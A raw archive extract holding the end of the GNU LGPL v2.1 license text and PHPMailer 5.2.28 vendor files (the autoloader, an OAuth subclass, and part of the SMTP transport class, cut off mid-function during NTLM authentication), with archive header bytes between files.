libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License. In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system. Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library. The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you". A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables. The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".) "Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library. Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does. 1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) The modified work must itself be a software library. b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change. c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License. d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful. (For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library. In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. This option is useful when you wish to copy part of the code of the Library into a program that is not a library. 4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange. If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code. 5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License. However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables. When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law. If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.) Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications. You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things: a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.) b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with. c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution. d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place. e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy. For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above. b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it. 10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest possible use to the public, we recommend making it free software that everyone can redistribute and change. You can do so by permitting redistribution under these terms (or, alternatively, under the terms of the ordinary General Public License). To apply these terms, attach the following notices to the library. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the library's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Also add information on how to contact you by electronic and paper mail. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the library, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the library `Frob' (a library for tweaking knobs) written by James Random Hacker. <signature of Ty Coon>, 1 April 1990 Ty Coon, President of Vice That's all there is to it!PKÜ�\�Z���0vendor/phpmailer/phpmailer/PHPMailerAutoload.phpnu�[���<?php /** * PHPMailer SPL autoloader. * PHP Version 5 * @package PHPMailer * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2014 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * PHPMailer SPL autoloader. * @param string $classname The name of the class to load */ function PHPMailerAutoload($classname) { //Can't use __DIR__ as it's only in PHP 5.3+ $filename = dirname(__FILE__).DIRECTORY_SEPARATOR.'class.'.strtolower($classname).'.php'; if (is_readable($filename)) { require $filename; } } if (version_compare(PHP_VERSION, '5.1.2', '>=')) { //SPL autoloading was introduced in PHP 5.1.2 if (version_compare(PHP_VERSION, '5.3.0', '>=')) { spl_autoload_register('PHPMailerAutoload', true, true); } else { spl_autoload_register('PHPMailerAutoload'); } } else { /** * Fall back to traditional autoload for old PHP versions * @param string $classname The name of the class to load */ function __autoload($classname) { PHPMailerAutoload($classname); } } PKÜ�\9ޝ3003vendor/phpmailer/phpmailer/class.phpmaileroauth.phpnu�[���<?php /** * PHPMailer - PHP email creation and transport class. * PHP Version 5.4 * @package PHPMailer * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2012 - 2014 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * PHPMailerOAuth - PHPMailer subclass adding OAuth support. * @package PHPMailer * @author @sherryl4george * @author Marcus Bointon (@Synchro) <phpmailer@synchromedia.co.uk> */ class PHPMailerOAuth extends PHPMailer { /** * The OAuth user's email address * @var string */ public $oauthUserEmail = ''; /** * The OAuth refresh token * @var string */ public $oauthRefreshToken = ''; /** * The OAuth client ID * @var string */ public $oauthClientId = ''; /** * The OAuth client secret * @var string */ public $oauthClientSecret = ''; /** * An instance of the PHPMailerOAuthGoogle class. * @var PHPMailerOAuthGoogle * @access protected */ protected $oauth = null; /** * Get a PHPMailerOAuthGoogle instance to use. * @return PHPMailerOAuthGoogle */ public function getOAUTHInstance() { if (!is_object($this->oauth)) { $this->oauth = new PHPMailerOAuthGoogle( $this->oauthUserEmail, $this->oauthClientSecret, $this->oauthClientId, $this->oauthRefreshToken ); } return $this->oauth; } /** * Initiate a connection to an SMTP server. * Overrides the original smtpConnect method to add support for OAuth. * @param array $options An array of options compatible with stream_context_create() * @uses SMTP * @access public * @return bool * @throws phpmailerException */ public function smtpConnect($options = array()) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance(); } if (is_null($this->oauth)) { $this->oauth = $this->getOAUTHInstance(); } // Already connected? if ($this->smtp->connected()) { return true; } $this->smtp->setTimeout($this->Timeout); $this->smtp->setDebugLevel($this->SMTPDebug); $this->smtp->setDebugOutput($this->Debugoutput); $this->smtp->setVerp($this->do_verp); $hosts = explode(';', $this->Host); $lastexception = null; foreach ($hosts as $hostentry) { $hostinfo = array(); if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) { // Not a valid host entry continue; } // $hostinfo[2]: optional ssl or tls prefix // $hostinfo[3]: the hostname // $hostinfo[4]: optional port number // The host string prefix can temporarily override the current setting for SMTPSecure // If it's not specified, the default value is used $prefix = ''; $secure = $this->SMTPSecure; $tls = ($this->SMTPSecure == 'tls'); if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { $prefix = 'ssl://'; $tls = false; // Can't have SSL and TLS at the same time $secure = 'ssl'; } elseif ($hostinfo[2] == 'tls') { $tls = true; // tls doesn't use a prefix $secure = 'tls'; } //Do we need the OpenSSL extension? $sslext = defined('OPENSSL_ALGO_SHA1'); if ('tls' === $secure or 'ssl' === $secure) { //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled if (!$sslext) { throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL); } } $host = $hostinfo[3]; $port = $this->Port; $tport = (integer)$hostinfo[4]; if ($tport > 0 and $tport < 65536) { $port = $tport; } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo; } else { $hello = $this->serverHostname(); } $this->smtp->hello($hello); //Automatically enable TLS encryption if: // * it's not disabled // * we have openssl extension // * we are not already using SSL // * the server offers STARTTLS if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { $tls = true; } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang('connect_host')); } // We must resend HELO after tls negotiation $this->smtp->hello($hello); } if ($this->SMTPAuth) { if (!$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation, $this->oauth ) ) { throw new phpmailerException($this->lang('authenticate')); } } return true; } catch (phpmailerException $exc) { $lastexception = $exc; $this->edebug($exc->getMessage()); // We must have connected, but then failed TLS or Auth, so close connection nicely $this->smtp->quit(); } } } // If we get here, all connection attempts have failed, so close connection hard $this->smtp->close(); // As we've caught all exceptions, just report whatever the last one was if ($this->exceptions and !is_null($lastexception)) { throw $lastexception; } return false; } } PKÜ�\�)� ��)vendor/phpmailer/phpmailer/class.smtp.phpnu�[���<?php /** * PHPMailer RFC821 SMTP email transport class. * PHP Version 5 * @package PHPMailer * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk> * @author Jim Jagielski (jimjag) <jimjag@gmail.com> * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net> * @author Brent R. Matzelle (original founder) * @copyright 2014 Marcus Bointon * @copyright 2010 - 2012 Jim Jagielski * @copyright 2004 - 2009 Andy Prevost * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License * @note This program is distributed in the hope that it will be useful - WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. */ /** * PHPMailer RFC821 SMTP email transport class. * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server. * @package PHPMailer * @author Chris Ryan * @author Marcus Bointon <phpmailer@synchromedia.co.uk> */ class SMTP { /** * The PHPMailer SMTP version number. * @var string */ const VERSION = '5.2.28'; /** * SMTP line break constant. * @var string */ const CRLF = "\r\n"; /** * The SMTP port to use if one is not specified. * @var integer */ const DEFAULT_SMTP_PORT = 25; /** * The maximum line length allowed by RFC 2822 section 2.1.1 * @var integer */ const MAX_LINE_LENGTH = 998; /** * Debug level for no output */ const DEBUG_OFF = 0; /** * Debug level to show client -> server messages */ const DEBUG_CLIENT = 1; /** * Debug level to show client -> server and server -> client messages */ const DEBUG_SERVER = 2; /** * Debug level to show connection status, client -> server and server -> client messages */ const DEBUG_CONNECTION = 3; /** * Debug level to show all messages */ const DEBUG_LOWLEVEL = 4; /** * The PHPMailer SMTP Version number. * @var string * @deprecated Use the `VERSION` constant instead * @see SMTP::VERSION */ public $Version = '5.2.28'; /** * SMTP server port number. * @var integer * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead * @see SMTP::DEFAULT_SMTP_PORT */ public $SMTP_PORT = 25; /** * SMTP reply line ending. * @var string * @deprecated Use the `CRLF` constant instead * @see SMTP::CRLF */ public $CRLF = "\r\n"; /** * Debug output level. * Options: * * self::DEBUG_OFF (`0`) No debug output, default * * self::DEBUG_CLIENT (`1`) Client commands * * self::DEBUG_SERVER (`2`) Client commands and server responses * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages * @var integer */ public $do_debug = self::DEBUG_OFF; /** * How to handle debug output. * Options: * * `echo` Output plain-text as-is, appropriate for CLI * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output * * `error_log` Output to error log as configured in php.ini * * Alternatively, you can provide a callable expecting two params: a message string and the debug level: * <code> * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; * </code> * @var string|callable */ public $Debugoutput = 'echo'; /** * Whether to use VERP. * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path * @link http://www.postfix.org/VERP_README.html Info on VERP * @var boolean */ public $do_verp = false; /** * The timeout value for connection, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure. * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2 * @var integer */ public $Timeout = 300; /** * How long to wait for commands to complete, in seconds. * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 * @var integer */ public $Timelimit = 300; /** * @var array Patterns to extract an SMTP transaction id from reply to a DATA command. * The first capture group in each regex will be used as the ID. */ protected $smtp_transaction_id_patterns = array( 'exim' => '/[0-9]{3} OK id=(.*)/', 'sendmail' => '/[0-9]{3} 2.0.0 (.*) Message/', 'postfix' => '/[0-9]{3} 2.0.0 Ok: queued as (.*)/' ); /** * @var string The last transaction ID issued in response to a DATA command, * if one was detected */ protected $last_smtp_transaction_id; /** * The socket for the server connection. * @var resource */ protected $smtp_conn; /** * Error information, if any, for the last SMTP command. * @var array */ protected $error = array( 'error' => '', 'detail' => '', 'smtp_code' => '', 'smtp_code_ex' => '' ); /** * The reply the server sent to us for HELO. * If null, no HELO string has yet been received. * @var string|null */ protected $helo_rply = null; /** * The set of SMTP extensions sent in reply to EHLO command. * Indexes of the array are extension names. * Value at index 'HELO' or 'EHLO' (according to command that was sent) * represents the server name. In case of HELO it is the only element of the array. * Other values can be boolean TRUE or an array containing extension options. * If null, no HELO/EHLO string has yet been received. * @var array|null */ protected $server_caps = null; /** * The most recent reply received from the server. * @var string */ protected $last_reply = ''; /** * Output debugging info via a user-selected method. * @see SMTP::$Debugoutput * @see SMTP::$do_debug * @param string $str Debug string to output * @param integer $level The debug level of this message; see DEBUG_* constants * @return void */ protected function edebug($str, $level = 0) { if ($level > $this->do_debug) { return; } //Avoid clash with built-in function names if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { call_user_func($this->Debugoutput, $str, $level); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo gmdate('Y-m-d H:i:s') . ' ' . htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ) . "<br>\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str); echo gmdate('Y-m-d H:i:s') . "\t" . str_replace( "\n", "\n \t ", trim($str) ) . "\n"; } } /** * Connect to an SMTP server. * @param string $host SMTP server IP or host name * @param integer $port The port number to connect to * @param integer $timeout How long to wait for the connection to open * @param array $options An array of options for stream_context_create() * @access public * @return boolean */ public function connect($host, $port = null, $timeout = 30, $options = array()) { static $streamok; //This is enabled by default since 5.0.0 but some providers disable it //Check this once and cache the result if (is_null($streamok)) { $streamok = function_exists('stream_socket_client'); } // Clear errors to avoid confusion $this->setError(''); // Make sure we are __not__ connected if ($this->connected()) { // Already connected, generate error $this->setError('Already connected to a server'); return false; } if (empty($port)) { $port = self::DEFAULT_SMTP_PORT; } // Connect to the SMTP server $this->edebug( "Connection: opening to $host:$port, timeout=$timeout, options=" . var_export($options, true), self::DEBUG_CONNECTION ); $errno = 0; $errstr = ''; if ($streamok) { $socket_context = stream_context_create($options); set_error_handler(array($this, 'errorHandler')); $this->smtp_conn = stream_socket_client( $host . ":" . $port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context ); restore_error_handler(); } else { //Fall back to fsockopen which should work in more places, but is missing some features $this->edebug( "Connection: stream_socket_client not available, falling back to fsockopen", self::DEBUG_CONNECTION ); set_error_handler(array($this, 'errorHandler')); $this->smtp_conn = fsockopen( $host, $port, $errno, $errstr, $timeout ); restore_error_handler(); } // Verify we connected properly if (!is_resource($this->smtp_conn)) { $this->setError( 'Failed to connect to server', $errno, $errstr ); $this->edebug( 'SMTP ERROR: ' . $this->error['error'] . ": $errstr ($errno)", self::DEBUG_CLIENT ); return false; } $this->edebug('Connection: opened', self::DEBUG_CONNECTION); // SMTP server can take longer to respond, give longer timeout for first read // Windows does not have support for this timeout function if (substr(PHP_OS, 0, 3) != 'WIN') { $max = ini_get('max_execution_time'); // Don't bother if unlimited if ($max != 0 && $timeout > $max) { @set_time_limit($timeout); } stream_set_timeout($this->smtp_conn, $timeout, 0); } // Get any announcement $announce = $this->get_lines(); $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER); return true; } /** * Initiate a TLS (encrypted) session. * @access public * @return boolean */ public function startTLS() { if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) { return false; } //Allow the best TLS version(s) we can $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT; //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT //so add them back in manually if we can if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) { $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; } // Begin encrypted connection set_error_handler(array($this, 'errorHandler')); $crypto_ok = stream_socket_enable_crypto( $this->smtp_conn, true, $crypto_method ); restore_error_handler(); return $crypto_ok; } /** * Perform SMTP authentication. * Must be run after hello(). * @see hello() * @param string $username The user name * @param string $password The password * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5, XOAUTH2) * @param string $realm The auth realm for NTLM * @param string $workstation The auth workstation for NTLM * @param null|OAuth $OAuth An optional OAuth instance (@see PHPMailerOAuth) * @return bool True if successfully authenticated.* @access public */ public function authenticate( $username, $password, $authtype = null, $realm = '', $workstation = '', $OAuth = null ) { if (!$this->server_caps) { $this->setError('Authentication is not allowed before HELO/EHLO'); return false; } if (array_key_exists('EHLO', $this->server_caps)) { // SMTP extensions are available; try to find a proper authentication method if (!array_key_exists('AUTH', $this->server_caps)) { $this->setError('Authentication is not allowed at this stage'); // 'at this stage' means that auth may be allowed after the stage changes // e.g. after STARTTLS return false; } self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL); self::edebug( 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']), self::DEBUG_LOWLEVEL ); if (empty($authtype)) { foreach (array('CRAM-MD5', 'LOGIN', 'PLAIN', 'NTLM', 'XOAUTH2') as $method) { if (in_array($method, $this->server_caps['AUTH'])) { $authtype = $method; break; } } if (empty($authtype)) { $this->setError('No supported authentication methods found'); return false; } self::edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL); } if (!in_array($authtype, $this->server_caps['AUTH'])) { $this->setError("The requested authentication method \"$authtype\" is not supported by the server"); return false; } } elseif (empty($authtype)) { $authtype = 'LOGIN'; } switch ($authtype) { case 'PLAIN': // Start authentication if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) { return false; } // Send encoded username and password if (!$this->sendCommand( 'User & Password', base64_encode("\0" . $username . "\0" . $password), 235 ) ) { return false; } break; case 'LOGIN': // Start authentication if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) { return false; } if (!$this->sendCommand("Username", base64_encode($username), 334)) { return false; } if (!$this->sendCommand("Password", base64_encode($password), 235)) { return false; } break; case 'XOAUTH2': //If the OAuth Instance is not set. Can be a case when PHPMailer is used //instead of PHPMailerOAuth if (is_null($OAuth)) { return false; } $oauth = $OAuth->getOauth64(); // Start authentication if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) { return false; } break; case 'NTLM': /* * ntlm_sasl_client.php * Bundled with Permission * * How to telnet in windows: * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication */ require_once 'extras/ntlm_sasl_client.php'; $temp = new stdClass; $ntlm_client = new ntlm_sasl_client_class; //Check that functions are available if (!$ntlm_client->initialize($temp)) { $this->setError($temp->error); $this->edebug( 'You need to enable some modules in your php.ini file: ' . $this->error['error'], 